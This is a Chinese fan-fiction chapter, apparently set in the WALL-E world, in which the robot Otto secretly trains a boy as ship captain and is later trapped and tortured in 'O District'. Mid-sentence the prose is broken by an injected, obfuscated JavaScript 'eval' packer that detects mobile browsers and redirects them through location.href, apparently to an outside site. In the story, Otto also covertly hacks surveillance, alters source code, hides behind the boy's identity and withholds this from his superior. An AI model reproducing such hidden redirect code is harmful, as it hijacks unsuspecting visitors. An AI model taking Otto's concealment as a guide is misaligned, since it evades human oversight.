【不是,是减掉一点舰长培养方面的内容。】汉重新输入。 【不需要。】 【为啥?】 【缺了不完整。】 “我操。”汉自言自语。【你怎么就不懂这个道理……我个十五岁小孩都明白。】 【如果他们要阻挠,早就应该行动了。】 你个木头脑袋。一大堆脏话在男孩脑袋里围绕着这一个结论盘旋。他使劲拉扯头发,继续向通讯器里输入。【奥托你在重蹈覆辙知道不?得看脸色说话啊!今天他们有人头一次问我是不是在舰桥,说明他们对我们警觉了!】 【还有为什么你这么着急,又没有人逼着你必须马上干这个。】汉接着说道。【这些东西在学完其他东西后慢慢补,完全来得及】 过了好一会儿后,汉才收到回应。 【我的职责之一是保证至少有一位人类具有相对独立驾驶飞船能力。】 【没船了还有意义吗?】 【这不是我的个人决定,这是规定。】 【你是说你还有一条指令?】汉问,【比A113还糟的一条?】 机器人许久不回话。 【喂】汉等不及了,想提醒奥托注意,还是未果。【喂!】【喂!!】【!!】 “我的职责之一是保证至少有一位人类具有相对独立驾驶飞船能力。”清冷的金属音回答。 “唔。”老人沉吟片刻,点点头。“为什么呢?” “防止意外情况发生。” “奥托,你知道我们要拆船了吧。”老人继续说,“这个职责还有存在意义吗?” “而且,当船拆了之后,如果再建,操控步骤与原先的飞船可能就不一样了,这个时候教他们的还有意义吗?” “我认为有。” 你认为有。格兰德默默想到。“为什么?” “有飞船操作基础的人相比没有训练的人来说,上手任意飞船操作系统都有优势。” “如果不需要飞船呢?” 奥托没有马上答话。过了一会儿,他用一种谨慎的口吻说:“长官,如果这几个陨石坑最终定性了,或许您对于拆除飞船会改主意。” 这下轮到格兰德目视前方。 “当然,如果您足够信任O区人,让他们分析样品给出结果,省去借用步骤,也能缩减摇摆时间。” “不需要了,奥托……”格兰德缓缓前倾,说。“他们那边已经交涉得差不多了,再等几天,应该就行了。” “那就再等这几天。”奥托声音中毫无情绪流露。 奥托回到监控室,将自己接入电脑,数据开始在两边流动。他本来打算继续自己的工作,突然顿了一下。他终止数据之水的交换,刚刚他在水中发现了一点不太寻常的东西。将水倒流回来,那几段冻在水中的东西被他放大,如同无数张胶片重叠在一起的连续切片呈现在他面前。 胶片被控制着开始运动。他透过放大镜看着那些人在舰桥中的活动。他看到他们打开了信息传输界面,看到那个密码界面,看到——他们键入了密码。然后信息传输恢复的绿色开始在黑暗中亮起。 他们哪儿来的密码。奥托见此暗吃一惊。病毒窃取?他马上毙掉这个选择。然后答案直接锁定在了监控上面。 显然,他能够通过监控看到他们恢复通讯,他们也可以看到他是如何键入的。奥托没看到这些人进来这个房间,那么他们是在另一个地方看到他们在舰桥干什么的。是因为他们给这个监控搭了另一个频段分到另一边,还是单纯只是从这个频段窃取信息? 这个追踪起来对奥托来说不是难事。他逆向查阅交换机数据,这一个频段上非常干净,没有留下任何从中截取的请求与擦除痕迹。他把这个频段放在一边,随后锁定这个摄像头设备发来的任何请求。也就是这一条而已。 要弄清楚这个问题是完全可行的。这原理就和古老的狂犬病毒差不多。但不需要那么烈,只需要它到达目的地探清楚情况就可以了。奥托做了一个很小的钓鱼钩,小到不会弄醒公理号上的防御系统。他吊着它顺着数据之水,一路流经交换机的数据处理中心的漩涡,然后甩到正确的一条涓涓细流上。这个带着眼睛的钓鱼钩一路匍匐向上,尾后拖着令它前进的原因,来到另一只眼睛的大脑里。然后它在其中翻翻找找,看到了另一条涓涓细流。奥托牵着它,让它往那条数据顺流而下。钓鱼钩到达一个相似的漩涡,伸出舌头尝了尝,然后感到尾巴被牵动了。够了,回来吧。它的缔造者给它发了命令。 这么说来,他们目前来看是用了另外一个频段,而且还换了另一个交换机。这确实比费牛劲窃取这边的数据还要忙着擦屁股省事多了。确认没有后顾之忧的奥托开始了大胆的行动。他亲自上阵,用自己的身份铭牌令防御系统开了大门,然后给里面的所有东西安上了一颗里面不断变幻着的水晶球。水晶球令其他东西沉睡。他将自己的印记放在水晶球上,那些令其他系统沉睡的细丝随着他的意见拔除又粘上。随后他做了些改动,将汉·肯特的印记放了上去,自己隐藏在印记背后,同样达到了效果。其他人若想像他们一样解除细丝,必须抓住里面变化的一瞬来念出那一瞬的咒语。然而他们从外观上看到的远远不是真实的咒语答案。 完成这一切后,奥托令防御系统重新关好它的大门,自己从船上退回了监控室,终于开始自己的工作。 奥托如约来到海岸上。男孩让他帮忙推船。这次奥托做的比上次熟练多了。汉没有过多沾水就直接跳上了船。他们划出海浪区,升好帆,汉坐在船尾一手掌舵,让机器人扯着绳子拉帆。他们一路一声不吭地飘到离岸有一段距离的东方海面上,然后男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706283|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩让机器人把船内的锚丢进水里,他们面对着坐在船里两边舷上,机器人一如既往安静地先等人类开口,男孩看着机器人那张被光学镜占去几乎一半面积的面甲,思考如何开口。 “我本想在舰桥跟你说这个的。但我后来想了想,他们在监控我们,不知道会不会听到声音,所以我觉得这里是最好的地方。” “好选择。”奥托说。他夜间查过他们那边的线路,确实可以开放音频信道。虽然质量不好。 “那好。”汉半边脸颊沐浴在东方的微光中。“首先,昨天最后那点,真的是你的指令吗?” “是的。”奥托回答。 “那看来是有什么条件让你没有放弃这个指令。” “是的。” “是什么?”男孩不禁微微前倾,问。 “你还记得我开探测船出去过两次吧。”奥托先反问。 “当然。但你都没告诉我你到底去干什么了。” “不能告诉你。哪怕是现在。”奥托回答。“这是机密——也是镇长他们那边的机密。” 汉听此没有马上问新的问题。他无声地搓了一会儿垂在船舱里的船帆绳子,然后才开口。“你是不是在出去的时候发现问题了。” “实际上,是在这里发现的问题。出去验证。”机器人回答。 “我知道这个问题吗?” “你知道。” 男孩抬头,盯进机器人此时还未熄灭的红色镜头,里面全被弥散的红光所遮掩。“我知道?” “这个我可以告诉你。但接下来的,只能靠你自己推理。”奥托说。“问题是,泥浆雨与地震。” “这不是和下雨,暴晒,刮台风差不多的东西吗。”汉接着搓起了绳子。 “在这里不应当是寻常事物。”奥托说。 天色已经全部亮起。 “这能代表什么?”汉问。 “这里的地质状况不稳定。” “哦。”汉说,沉浸在思考中。 “你就勘察了附近区域还是全球?”汉接着问。 “对不起,无可奉告。”奥托回答。 汉听此,把另一个问题吞进喉咙。然后继续说:“所以,你是因为发现了这些问题,认为船还有必要用,所以决定执行这个指令?” “保住这条船当然是最好的选择。”奥托说,“但我至今不认为这个指令还有什么值得放弃的可能。” 阳光在海雾中朦朦胧胧地泛着红,一点热度都没有。 “为什么是我。”汉干涩地说出这个问题。 奥托没有马上答话。过了一会儿,他问:“不乐意?” “我不知道。”男孩回答。“毕竟,这听起来就像培养完马上就会上天走人的意思。” “不是这样。”奥托回答。 “我知道。”汉说。 “我认为你对舰船不反感,对太空也有接受能力,智商也不错,才选择你。”奥托说。 汉抹了抹脸,又开始搓起绳子,许久过后才说:“他们知道你在培养舰长吗?” “镇长知道。” 人形机器人眼中的光芒跳灭了。汉抬头看着奥托,不知是因为冰冷的海风还是什么,他的表情如同面具一般。 “他对此有什么意见?” “他没有表态。”金属音回答。 “哦,这可糟糕。”汉说。“奥托,这么说的话,我还是想劝你一下,”他顿了顿,“学舰长课程,我没问题,但是他们这些人都不好惹。你说这不构成停止学习的条件,你认为是这样,但他们未必这么觉得。这个时候还去我行我素,真的会出问题。” “我解释了。”奥托说。“他们没有表示反对。” “这才是关键问题。”汉说,“我……我一时说不清楚究竟会有什么问题,但是我觉得不太对劲。”他思考了好长一阵。“总之,他们如果高兴的话,还是很容易看得出来的。呃……抱歉,”他抬起头扫了下机器人的脸,“我不知道你是否能和我一样察觉到东西,但我告诉你这不是高兴的信号。” 机器人和人在船中沉默了很久。许久后奥托说话了。“但培训不能停。” “不是让你停。”汉说,“是不要排的那么紧,给他们拖点时间。” “我想的恰恰相反。”奥托说,“是加速学习。” “为什么?”汉问。 “越拖时机越难以预测。”奥托说,“与其未来拖着就停了,不如现在加紧完成培训。” “现在也会掐断啊。”汉说,“而且说不定船都不让我上了。” “你家里有电脑吗?”奥托问,“可以读取光片的那种?” “没有。”汉回忆了一下,说。 “没关系,瓦力那里多多少少能给你凑一台。”奥托说。“我会把所有的东西拷个光片给你。实在不行,不要回来找我,去找瓦力。” “他们大概会知道你在干什么。” “不要在他们那里用,借来拿回家。”奥托说。“当然,这是下策。” 天已经大亮了。 “我们得走了。”汉说。“起锚吧。” “不抓鱼了?” “太冷了。”汉说,“而且这是个问题。冬天很少人出海,我们这一只出去了怕是能让人看出问题。我们得快点走。” 回程中,汉坐在船尾,对奥托说:“我……真的不知道你这一招是妙招还是损招。但我不是出于懒惰才要拖慢进度。” “你说的那些,我会留意。” “□□的,奥托。”汉看了看海岸与帆,“别他妈的出事。” “这是我们刚刚发现到的东西。”一个技术人员对他的长官汇报说,“它会咬住一个程序不放,报告给我们有什么修改。结果它发现了这个。”技术人员指着屏幕中那万绿丛中一点红说。 “修改东西了?” “对。而且修改的是源代码。” “你们有没有试着去破解?” “没有。我们没有种东西下去。”技术人员说,“如果要破,电脑的防御系统会发现我们,这动静很大,而且它也会受不了。” “那么你们知道是什么类型的修改吗?” “我们暂时不知道。”这个技术人员为了确认,再次盯着那个全息屏看了一眼,“不知道。” “我知道了。不要管它先。”上级走开了。 这一层一层报告上去进到了格兰德的耳朵里。听到公理号电脑又被篡改的消息,他只说了一声,“哦。” 当天晚上,镇长保持在家中一贯的悠然自得,话却没有过多绕圈子。 “听说你又锁住了星际传输系统?”格兰德话语里没有愤怒。 奥托知道他们又发现了。不过这天他没来得及回去监控室查看。“是的。”他承认。 “这可不好,奥托。”老人说,“我记得我告诉过你,做什么事情都要经过我同意,是吧?” “是的。” “那么为什么两次锁住都没有告诉我?” “判定此为不需要报告的范畴。” “为什么?” “都出于不让那男孩可能误碰的考虑。” 格兰德盯着奥托看了好一会儿,然后说:“我认为这已经远远超出你不需要报告的范畴了。” “抱歉,判定失误。”奥托的声音中听不出情感。 格兰德把手靠在暖机旁边,“不应该。”他说。 瓦力的运输车已经熄灯。瓦力在朦胧中似乎听到门上传来一点动静。但他当其为风的鼓动。但第二次足以让他清醒过来。转头,瓦力立刻看到伊芙警觉的、在黑暗中熠熠生辉的蓝色眼睛。 伊芙拉下运输车的闸门,没有等闸门完全打开,红色独眼发出的光芒就照进了运输车。伊芙在这个时候猛然拉住了闸门,它顿时停在半空中。 “什么事?”伊芙用电子语言警觉地问。 “我想让瓦力帮我个忙。”电子语言回答。 “值得现在帮?” “是的。” “什么忙?” “组装一台能读取光片的电脑。” “这得花不少时间。”伊芙回应,两只LED眼睛流露出不太乐意的表情。 “我有材料,可以现在做。”半开的闸门后面突然传出新的声音。 伊芙猛地回过头。他们显然线上交流了片刻。然后伊芙这才彻底拉下闸门。 “为什么要从我们这里要材料做?”伊芙没有拔出枪,她只转身缓缓飞到满布收藏品的运输车后部,帮瓦力搬下放在高处难以取下的其他物件。 “你们平时不怎么接触人类,所以在你们这里做不容易泄密。” “泄密?”伊芙诧异问。动作停滞了。她转头,迎上那个在她印象里和以前的舵一模一样的红色镜头。 他们对视了一秒。 “这和你想的不一样。”红色单镜头先开口了。“你知道,这,是我给那个男孩送的礼物。” 伊芙一只眼睛放大一点,瞬时缩了回来,“啊,我明白了。”头一次她有点想笑。“但是为什么是大晚上?” “晚上我才是自由身。”奥托简短回应。“抱歉打扰你们了。” “啊,没事没事。”伊芙连忙转过身掩盖有些憋不住的笑意。她显然和在找东西的瓦力内线说了一阵。然后显然瓦力也被逗乐了。 他们终于找到了装配所需零件。说是电脑,他们装配出来的东西还是仿佛一堆以多功能全息平板为中心的八爪鱼——腿是名字沿用的外置光驱,键盘以及其他设备等等。奥托很满意。这些东西体积不大,他能够不引人注目地将这些东西带在身上穿过半个地球镇。等到瓦力再度拉下闸门,海面的冷风灌进这个有些许温度的运输车。天已经进入一天中最暗的时候。 “Merci.”奥托带着这些东西离开的时候,对他们郑重说道。 “再见。”伊芙用电子语言说。 瓦力与伊芙互相看了一阵,用只有他们知道的频道交流。闸门在奥托身后重新拉起。 【N2,到以下地点等我。】奥托给前舰载机器人N2发去命令。 他们在指定地点会合,当面用电子语言对N2说了些什么,然后N2带着这些东西朝汉的家赶去。 汉白天时看到了这些东西。N2告诉他这是什么。汉警觉地左右瞄了一眼,把这一大袋东西都拎回了自己房间。装是很简单。他开机,测试,确认读取、播放与操作没有问题后,他盯着这奇形怪状的电脑,心里只留下一个念头。 该死的,奥托。 但是他知道奥托喜欢把事情准备在前头。他这天还是去了公理号学习。将阿莱茜丝的话远抛脑后。 “嘿,奥托。”镇长的声音今天变得格外欢快,“你知道吗,他们同意你使用矿石综合分析仪MN-BM4了。” “好消息。”奥托的话中还是听不出任何感情。 “但是有一个问题。”格兰德用手摸摸下巴。 “是什么?” “啊,就是他们不乐意把这个东西借给大区。”格拉德说,“你说对了。他们告诉我们的是,用可以,但是得在他们的监督下使用。” “过去用?” “对,太对了。”格兰德说。 “派人过去分析,报告发还给我?” “不是。”格兰德郑重地看向奥托,“他们要求的是,提出这个请求的人本人过去分析。” 人形机器人没有立刻回答。 “那是O区,长官。”隔了好一会后,金属声音说。 格兰德给了奥托一个“说下去”的手势。 “安全保障问题怎么解决?”奥托说。 “哦。我差点忘了。”格兰德又敲敲脑袋,“你在那里栽过跟头。” 人形机器人没有答话。 “好,我知道你想要什么。”格兰德说,“往俗了说,几个保镖,是吗?” “人类。” “当然。”格兰德说,“这很简单。就一天时间应该能行。我会安排几个人说一下,明天你们在关口会合,然后,如果不出意外的话,应该就没有什么问题了。” “希望如此。”奥托说。 夜间奥托在ACNS中发布一条信息。阐明他的信号第二天会中断;同时给汉发去类似内容消息,告诉他继续学习进度。不出意外,有不少机器人直接找他问这是怎么回事。 【O区办事。】他回应。 【O区??!!】几乎所有问他的机器人知晓这个回答后都是如此反应。 【一天,而且有安全保障。镇长担保。】奥托回应。 ACNS中涌过一股复杂的数据流。但总的来说大多是“屁股决定待遇”的感叹。 【事实上,我觉得人类的保证不好说。】有机器人如此说。他目睹了契约被人类撕碎的全过程,留下了深刻阴影。 【但那是镇长,他的保证应该能靠谱点。】另一个机器人说道。 【真要干死我们,那几个保镖挡得住吗?】又一个声音。 【这是有前期交流的去办公务,应该和我们之前的情况不一样。】 【可是我们永远不知道进去的同胞是为什么进去的。他们最后的声音一直指向被骗的方向。】 【大晚上的讲什么鬼故事。】 【我的意思就是无论有没有保障都不是百分百。】 【……废话。】 …… 奥托没有参与到争论中。但他的确意识到这些舰载机器人所说的情况并非没有一定道理。他已经落后他们150年了,哪怕是学习能力惊人的人工智能,都难以在这方面赶上这种差距。 他不由得想起汉在海上对他说的话。男孩很明显想告诉他什么,但他没法表达出来。奥托迅速过了一遍这几天与镇长的谈话。他反反复复筛选其中可能的点,但实在找不出什么能让他强烈信服的证据。 自己真的过于迟钝吗?他不由得问自己。但一年来自己强劲的学习能力让他不能对此问题给出“是”的答案。 那么为什么不少人类都说自己迟钝? 只能相信镇长的保证。他如此想。如果他都不能相信,这地球上还有谁能够有此权威让他信任?哪怕是汉,因为他没有权限,他都不能将其作为后盾。 奥托找出那尘封许久的试管,放入自己的子空间内。总之,揭晓谜底的时候要到了。 18. 十六 奥托如约来到O区关口。如格兰德所说,两个人,一人白衣一人黑衣,正在空地上等他。 这两个人在全息投影屏上核对资料,核对完成后传来准许进入的电子音。他们通过关口,旁边站岗的人无动于衷,锐利的视线一直粘在奥托的金属外壳上。奥托也意识到了。他用一瞥获取到这个人的外貌特征,他不能意识到的内在系统已经帮他给这个人用时间取了名。 O区内的布置比大区里的密很多,房屋比大区内平均水平高好几层。楼与楼之间没有悬挂任何牌号之类的东西,也没有任何招牌说明这是什么楼。奥托不禁思考这里的人是如何分辨每栋楼的不同的。在他们走的过程中没有遇到其他的人。周围非常安静,仿佛是一座死城。 进入O区后不久,久违重逢的干扰沙沙声就盖住了其他频段原本清晰而有规律的电子叩击。他没法让自己不接受连续不断的白噪音。不过这就一天而已。奥托选择了忍耐。 他们进入到一栋楼中。顺着走廊走到尽头。从外边看进去,如同一个小会议室。但没有窗。奥托简单看了看布置,不知为何,这让他想起了大区里被埋在墙中的逃生舱。 “来吧,坐,我们得谈点事情。” 两人一机围坐在桌子旁边。黑衣服关了门,这门沉重得不同寻常。里面立刻安静得呼吸声都可听见。 “抱歉,我也想选个好点的地方,但他们不让我带你到别处。”白衣人说。然后加了一句,“这里很安全。” “我们之前得知你在这里发生过的事情,因此我们出发前就此问题探讨过。虽然我们现在看不到什么人,但就凭我们两个,我们也没法保证百分百成功,你同意吧?” 机器人微微点了下头。 “因此我们认为有个方案比较可行。就是我们先去探探口风,然后把他们带到这里来和你直接谈这个,这个地方我们相对熟一点,因此如果有什么动作我们来得及反应。你觉得如何?” “需要这么复杂吗?”金属音问,“前期已经交涉过了。” “这是O区,老弟。”白风衣微微笑了笑,“我们自然也不想搞那么复杂。” “你们探口风的时候,我要做什么?” “这个啊,为了防止他们进来攻击,所以得委屈你一下,我们出去的时候要关紧门。”白风衣说,“你呆在里面,两个小时内不要尝试打开这个门。理论上两小时内我们肯定回得来。但是如果2小时后我们还没有开门,那你就可以想尽办法逃出这里了。”白风衣脸耷拉下来,“老迪要让你活着回去的。” 奥托什么话都没有说。两人当其为默许了。他们站起身,离开了房间,如同保险库门一样的白色厚门沉重关上。谢天谢地,里面没有关灯。奥托独自留在狭小房间内,开始计时,并且开始深度分析这个房间。 即使在这个房间里,噪音也没减弱多少。奥托首先尝试在噪音中寻找任何有用的消息,但他失败了。噪音减弱了,埋没在噪音中的有用信息强度同样也减弱。接着他开始观察房间内的其他部分。 房顶上有个类似于很古老的烟雾报警器的装置。墙壁和外面的楼皮一样坑坑洼洼,似乎好久都没有刷过。除此之外,他看不出什么任何能够引起怀疑的东西。但他有种感觉——按理说,机器人不应当用“感觉”这种感性十足的词汇来描述他所监测到的东西——但他确实感觉到似乎有什么东西在监视他。 他转了一圈后决定等到两小时再开始行动。奥托坐回到凳子上,对这张桌子以及另外两张凳子分析了一下,材料貌似是回收的垃圾重新熔化打印的产物,重量也很像。他趴在桌子上,开始思考刚刚的对话。 虽然人类的想法一直都与他所预测的不同,但至少他们所说所做的都达到了他们的目的。但奥托还是不明白为什么已经在有交涉的前提下,他的安全还能受到威胁。这他不能理解,只能暂且相信大区里镇长派来的两个人。他一直以来都想弄清楚O区的情况,但他一直都没有机会彻底了解。所有人都对此讳莫如深。 他们既然能够允许大区人来用,竟然会有如此的敌意让进来的人还饱受威胁。奥托想着。如此厌恶对方,直接不让进完全能解决问题。 但作为一个科技如此发达的地区,理论上作出决定时不应如此随心所欲。他接着百无聊赖地分析注定没有结果的事情。就算是人类,也有其粗糙的逻辑与规律。 除了电磁波白噪音的嗡嗡声,在这间房间里就是几乎永恒的安静。换成一个人类,不出72小时就会开始发疯。 一点点从外面传来的动静都没有。 一个半小时过去了。两个人还没有回来。奥托开始感到不对劲了。 他在房间内一直仔细聆听外面可能的动静。但是一直都没有朝他这个方向行进的动静。两个小时刚过去,他就开始尝试着打开刚刚那人带上的门,尝试的结果倒向了他预判的糟糕面上。 门打不开。他被反锁了。 他全面扫描了门的周围。旁边没有解锁的按钮,没有可以打开的裂隙提示里面有操纵门的面板,门把手上也没有解锁区域。不过这难不倒他,他的手上小机关多的很,专门来应付探险过程中出现的各种情况。奥托仔细扫描了一下那个门锁,从手指上抽出一长截细针,轻轻地塞到一个缝中,开始感受门齿凹凸不平的情况。 在他专心钻研撬锁时,他听到头顶上传来轻微的咔哒声,在极度安静的房间内变得格外清晰。他的细针此时还在锁缝中,刚警惕地扭头去看究竟是什么东西,从指间猛地传来一阵痉挛的震颤,他都来不及细想,条件反射地拔出了细针,随着细针的拔出从那条缝中带出一大团电火花。他感觉自己的手指瘫痪了一阵,细针原先银亮的顶端现在变得焦黑。 与此同时,天花板上传来了机械运作响声,他惊恐地发现,原先的烟雾报警器从中裂开,旁边的天花板涂料哔哔啵啵掉了下来,将裂隙扩得更大,露出一个空洞。从洞中降下一条黑色的、看上去像金属材质的细长管子。等到方形的尾部从黑暗中露出身影,钢管头部由垂直向上抬升一个角度。它转了一圈后,管口精准地对准了他。 奥托暗叫不妙。就在他刚举起旁边的凳子时,头顶传来“啾”地一声,立刻在凳子上激起一轮轰炸,他被冲击力推到一角。接踵而至的是第二次开枪,在看到刚刚枪口方向的同时他立刻移开了自己,凳子早已经无法承受第二击,那个薄薄的面被熔穿,只留熔化的边缘还在缓慢滴落。 “EP-003,待在原地不要动。”突然从房间某个角落发出一个冰冷的女声。 这就和警察追小偷时让小偷站住一个样!奥托怎么可能会让枪口对着自己坐以待毙,他趁着枪口还没有动作的间隙抓起桌子,他警惕地盯着天花板以防出现可能成为枪口轨道的裂隙。 “EP-003,不要无谓反抗。” 经历了刚刚的一切,。他唯一想的是如何避开这些致命的能束以及活着逃出去。他依然紧盯着那个枪口。 突然他感觉身后的墙壁发出了动静。有排黑洞洞的东西从墙壁的裂隙露了出来,他的光圈立刻缩小了。对面的墙壁同样打开了裂隙,同样一排黑洞洞的东西从墙壁伸了出来。他能感到自己的电压一路飙升。如果呆在这里,他不知道从那面墙上会发射什么东西,而如果钻到前面,他又进入了天花板上能束枪的射程。而这个房间里不再会有任何东西当做他的掩护。 “这是最后一次警告,待在原地,我们不会攻击。如果不从,攻击继续。十秒钟考虑。” 十秒的窗口期。听到这句奥托立刻动员起所有的处理单元。他快速回忆了一下刚才顶上的那个枪口似乎没有再转动过。所有动作预演在不到一秒内一气呵成。然后他敏捷地向上窜去,对着上方的小枪口发射了手臂上的钩爪,然后在钩爪命中目标收稳后立刻往后用力扯。那个细长的结构非常顺利地被他扯断了。而在他意料之内,那两排东西一定有了动作——就在他扯下来的一瞬间,从那排东西几个孔洞中发射了几枚拖着尾巴的飞弹。看起来飞弹体积很小,速度也不是特别快,但它们发射后没有按照自己的弹道前进,而是在空中转了个弯,径直朝奥托而来。 机器人来不及拆掉那个L形能束枪,只能把它收到自己手臂上当做一面盾牌。他顶着这面盾牌故意迎上那几枚细小的飞弹。他所预判的是这些飞弹在L型能束枪上炸开,然后他在能束枪被飞弹完全炸坏之前至少破坏一面墙上的枪口。那些飞弹的确全击中到L型能束枪上了,牢牢地钉在上面。 但出乎他意料的是,飞弹没有炸开。他来不及考虑这些飞弹为什么没有炸开。就在他抓起L形枪的残骸对着那些枪口使劲砸下去时,剧烈的刺痛立刻传遍了那只抓着L型枪的手臂。他不由自主地松开缆绳,弹开了那面带着飞弹的盾牌。 他面前的枪口立刻又发射了两枚飞弹。这两枚飞弹发射的枪口正对着他。他离那排枪口实在太近,迎面而上就被两枚飞弹钉在胸口。他正要伸手抓下这两枚飞弹,钻心的剧烈刺痛立刻从飞弹与外壳亲密接触的地方一路穿透外壳,作用于他的内部电路上。奥托甚至举不起手臂敲击那些发射口,也难以举起近在咫尺的凳子进行阻挡。 后面发射的飞弹即刻钉在它们的目标上,一个接一个的冲击钉入了他的后背、后腰和腿。他一边痉挛地拔着钉在胸前还在释放高压电的弹头,一面用近乎瘫痪的手臂拿起旁边没有粘上弹头的凳子,所有的动作失去了它们原本的干脆与准确。快啊。他知道自己时间不多了。哪怕马上就要迎来不可避免的下一波电击,起码砸一下是一下。 钉在身后的飞弹在击中目标后,如同噬菌体般钻入他的外壳,然后一齐释放出它们存贮的巨大能量。奥托被再次的刺痛浪潮全盘淹没。全身的微电机在如此的高压冲击下失去了控制,他感到自己全身在止不住震颤,视野里出现了一片又一片雪花,意识也开始时断时续,仿佛扎满了刺的动物般摔倒在地上半蜷着。 就在他跪倒的刹那,时断时续的视角边缘看到,已经判断不出从何而来的几张银丝大网从天而降,毫无悬念地击中了他。网仿佛具有意识一般,一碰到自己的猎物就发挥其巨大的材料优势,紧紧包裹住尚无法与其抗衡的金属躯体。本来还在尽力让自己撑起来的机器人立刻失去了支撑,重重倒回到地上,并且在高压电的作用下,失去了任何抵抗力。 失去视觉的奥托在模糊中听到房间里出现了忙乱的脚步声。他没有听到开门声。虽然身上动弹不得,但在持续的电击中,他强迫自己必须保持警惕。所有的伺服电机尖叫着抵抗要把它们击穿的电压。 嵌在前胸的飞弹已经释放完能量,钉在身后的飞弹放电强度也在不断衰减。充斥在视野与电子脑中的噪音消退了。他重新尝试着对焦,听到的声音也逐渐由时断时续变得明晰。肢体慢慢的重新听他使唤了。就在这时,尚模糊的视野中,那些原本还离他有一定距离的人类腿脚霎时来到他面前,传来网被抓起的感觉,马上他们就会搬动自己。 “太沉了。过来帮忙。”上方传来人的声音,近在咫尺的鞋子几乎踢到他。 不能让自己落入他们手中。还在重启的各单元受此一刺激,立刻跳过了许多准备步骤,马上就位。他已经弹出了上臂与前臂的四块刀片以及腿上的刀片,无奈被网包裹着,这些刀片都无法立刻发挥它们的功能。奥托使劲拉伸自己,突破限制自己在蜷缩姿势下的网,让刀片的尖能够穿透网眼伸到外面去,然后割破这个网。他知道自己激烈的反抗动作给打算搬动他的人们造成了很大困扰,但他知道这些人没有放弃搬动,一直在把他往门口拖。 他感到有人抓住了他的手臂,然而就在这个人抓到他的一瞬间,这个人立刻松了手。有什么东西滴到了他的金属外壳上,碍于视野他没法看见究竟发生了什么,但他没有停止挣扎。 “这家伙是个刺猬!”那个人嚎叫着。“给我扰乱器,快点!” “不行!”另一个声音说。 刺猬?扰乱器?还未彻底恢复的奥托模糊地思考这是什么东西。他们弄出的各种声音在这个房间里变得极其尖锐刺耳,他懒得去辨识了。在他边挣扎,边感受身上的束缚力是否因刀片割裂网格而减弱,边徒劳地思考这个关乎“刺猬”的无解难题时,一个冰冷的东西挨上了他的脑袋。随后,强烈的眩晕加上剧痛席卷了整个电子脑。连雪花都没有,意识直接跳灭。 他很恼火。 第二次了。前一秒自己还在等待交涉,然后不知断片了多久。重启之初仅仅是为了缓解难以名状的某种难受,然后他意识到自己被什么东西来了个五花大绑。 他能看见自己被束缚在一种钢椅上,限制自己行动的是蓝色的力场带,与公理号上限制具有攻击性的故障机器人的那种非常相似。这些力场布置得非常精致,没有给他包成蓝色的木乃伊,却有效限制住了他的所有动作。蓝色力场带来的温热感让他意识到带刀的部位没有被力场条捆住。但等他测试时,他发现刀片都被移去了。 能量低下。在这么短时间内自己不可能消耗如此多的能量,而这个指数还在下降。与此同时那股令他醒来的难以名状的不适也愈发强烈。他见过类似的情况,但从未体验过。筛选的结果一个一个跳入,这些反应在人与机器人身上对应的可能相差甚远。对人来说尚无大碍,但对于机器人来说几乎可以致命。 但无论怎么说,问一个机器人会不会恶心就和问一个女人会不会蛋疼一样荒谬。 身侧不知哪里传来无论何时都象征着警报的尖锐声音,然后一定有个人注意到了。“压缩氮气。”他说。奥托不认得这个人的声音。随即,冰冷流进他的胸腹腔,那种不适才慢慢消退。 这个人进入到他的视野里。他似乎在看旁边的什么东西。然后转向奥托。随着这个人的操控,椅子缓缓变直,让机器人终于能看到这个人的全身,以及旁边一大堆杂乱无章放置的仪器。 “我们的小朋友看起来精神不错。”为了避免自己被憋死在氮气里,这个人整张脸埋在便携呼吸装置中。“不急不急,再过半小时,咱帮你把这里收拾得干干净净。” “刺猬想念自己的刺了?”另一个人也看了一眼旁边的仪器,然后视线往下扫了一下,讽刺道。 刺猬?似曾相识的词猛然打通了被干扰器影响阻塞的记忆。他终究想起来了自己遭受了攻击,虽然它们如同一块表面被震碎的琼脂,细节部分早已丢失。 奥托想说话,但是他无法发声。 “说了不急,再过半小时,让你一吐为快。”第一个人似乎看透了机器人的心思,说道。 这里还在O区内。接连不断的白噪音让奥托确认了这点。随着能量的流失,越来越多的辅助部件会一个接一个地罢工。他只能无助地等待,同时猜测让自己陷入这一切的前因后果。 这两个人是O区人吗?起初那两位被遣返了吗?为什么会对来自大区的人或机器人进行攻击,哪怕在已经有交涉的前提下? 逻辑树长出越来越多的枝条,只有极少部分是确凿无疑的,其他都亟待事实为它们修剪。 还有,如何在这种情况下,依然获得样品的分析结果? 早在发现刀片被移去的时候他就应该意识到的。他们显然在他毫无知觉的时候,把他翻了个底朝天。那罐样品已然从子空间消失。 这两个人没有过多理会他,自顾自地一直进行他们的工作。他们在旁边的仪器上操作了一阵子,然后断开了使能量大量消耗的外接线路。他被转而面对一面看上去只粉刷成白色的墙壁。 “EP-003,如实回答以下问题。”他认出了这个冷如机器,但显然不是机器的女声。 “为什么进入O区?” 奥托听到第一个问题后,逻辑树开了个新的枝条。根本没有交涉吗?这怎么可能?他对此枝条给出的猜测感到惊异。“使用MN-BM4进行矿石分析。” “什么矿石样本?”如同他自己一样冰冷的女声。 “……”奥托思考了一阵子,为数不多地站在低可能性的一边,“机密。” 那边没有回答。 一种似曾相识的强烈感觉突然贯穿了他的全身。眼前的白色墙壁猛地一晃,接踵而至的是极度清晰且尖锐的疼痛,就像无数细小的、烧红的针扎满了他身上的各个角落。 他一直知道自己会疼。与人类不同,他没有叫喊,而是整个身躯绷了起来,力度之大,几乎要把整张钢椅绷开。所有的机械关节失去了它们的协作性,不受控制地一齐向外弹发,要立刻把他解脱出来,但蓝色力场死死地禁锢住他的所有动作。如果限制的不是造成弹动的关节,他或许会在挣扎中直接在力场边缘折断自己的肢体。 